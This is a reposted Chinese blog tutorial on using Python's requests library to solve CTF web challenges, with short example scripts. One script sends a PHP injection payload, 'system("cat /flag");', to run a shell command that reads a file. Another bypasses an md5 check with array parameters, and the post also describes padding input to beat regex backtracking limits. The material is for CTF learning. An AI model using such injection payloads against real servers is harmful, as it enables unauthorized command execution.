自学内容网 自学内容网

面向CTF的python_requests库的学习笔记

        看师傅们写的各种脚本羡慕不已,自己却只会一点一点手搓,于是来做个笔记

requests库是干嘛的?

                顾名思义,request就是请求,可以用来向服务器发送请求。它可以代替你在网站上发送请求报文,并接受回应报文。简单来说就是以代码的形式在网站上按回车,是不是很神奇。

                这时候有人可能会疑惑,那我们直接在网站上手搓不也是一样的吗,也可以得到flag,为什么要用request库呢?

                很简单的例子,在BaseCTF_week2的数学大师里,有且只有写脚本一条路。

requests的使用指南

                这里借用一下菜鸟教程

                Python requests 模块 | 菜鸟教程

                

        这里是比较简单的实例,接下来会介绍两种最为常用的方法

        url:是指网站地址,形如http://.........之类的
        data:是post所需要的数据
        json:是参数为要发送到指定 url 的 JSON 对象
        args:是其他参数,比如 cookies、headers、verify等

        params:url中的额外参数

        

        例题一


        题目很简单,直接cat一下就行

        通过代码可以这样实现

import requests  #导入库

url='http://gz.imxbt.cn:20574/' #定义url

data={'DT':'system("cat /flag");'} #定义要传的参数,会变成?system("cat /flag");

res=requests.get(url,params=data) #res接受请求后的参数

print(res.content) #打印内容

        实战中,经常会遇到post和get需要一起请求,但是写两条请求的话,其实是请求了两次
res=requests.get()
res=request.post()   (这里会覆盖上面的,最后就只有post的这条数据)

        如何解决呢?

        其实很简单,get传的参数是可以放在url中的

        下面给出第二道例题

        例题二

        简单的md5,构造脚本如下

import requests #导入

url='http://gz.imxbt.cn:20586/?name[]=1&name2[]=3' #定义url,并写上get参数的数据

data={'password[]':'2','password2[]':'4'} #post的数据

res=requests.post(url,data=data) #接受回应

print(res.text) #打印结果

requests的进阶用法

        这里我要先引入一个函数format()

        format是一个格式化字符串的函数

        通过这个函数我们可以做到一下操作

        聪明人已经知道我要干什么了,没错,这是针对多次回溯绕过正则准备的

(简单来说就是需要传10000次符合正则的字符串,这样就可以绕过)

        如果题目中同时需要post和get,那么我们就只能用requests.post(),然后把get的参数写在url后面。
        这时,如果是post的参数需要多次回溯绕过正则,我们可以在data里自行加上a*10000
        但是,如果是get的参数需要绕过正则呢?

      

        这样就完美解决这个问题了

小结

        request库就记录到这里,其实还远远不够,很多题目都需要一定的代码能力。培养自己的逻辑思维也是十分重要的。


原文地址:https://blog.csdn.net/Takagiapa/article/details/144728697

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!